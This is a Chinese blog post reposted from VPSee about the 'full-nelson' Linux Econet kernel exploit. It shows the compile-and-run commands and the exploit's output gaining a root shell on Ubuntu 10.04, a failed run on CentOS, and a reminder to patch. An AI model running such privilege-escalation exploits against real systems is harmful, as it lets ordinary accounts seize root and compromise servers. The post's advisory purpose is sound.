原文来自于 Vpsee: 利用 Linux 内核的多个安全漏洞获得 root 权限
系统安全高手 Dan Rosenberg 发布了一段 C 程序,这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞,可以导致本地帐号对系统进行拒绝服务或特权提升,也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell,以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过:

$ sudo apt-get update

$ sudo apt-get upgrade

$ uname -r

2.6.32-21-server

$ gcc full-nelson.c -o full-nelson

$ ./full-nelson

[*] Resolving kernel addresses…

[+] Resolved econet_ioctl to 0xffffffffa0131510

[+] Resolved econet_ops to 0xffffffffa0131600

[+] Resolved commit_creds to 0xffffffff8108b820

[+] Resolved prepare_kernel_cred to 0xffffffff8108bc00

[*] Calculating target…

[*] Failed to set Econet address.

[*] Triggering payload…

[*] Got root!

#

由于 RHEL/CentOS 默认不支持 Econet 协议,所以测试没有通过:

# yum update

$ uname -r

2.6.18-194.26.1.el5

$ gcc full-nelson.c -o full-nelson

$ ./full-nelson

[*] Failed to open file descriptors.

如果在企业环境用 Ubuntu 的话可能会比较杯具了,几百个帐号里总可以找到一两个帐号被内部或外部人员通过上面这段程序拿到 root,这对服务器的危害是毁灭性的。前天还在说 Ubuntu 在内核方面无作为,现在想起来还有点后怕。VPSee 提醒正在使用多个普通帐号登录 Ubuntu VPS 的朋友及时升级或打内核补丁,出售 VPN/SSH 帐号、提供免费 SSH 的商家尤其要小心 “客户” 捣乱,使用其他 Linux 发行版的朋友也最好检查一下自己的 VPS 有没有这些高危漏洞。

PS:另外,我在 Ubuntu 10.10 , Ubuntu 11.04 及一台 ArchLinux VPS 上分别进行了测试, 10.10 和 ArchLinux 提权失败,而 11.04 则提权成功。

PS2: Ubuntu 已修复此漏洞,请尽快更新你的系统。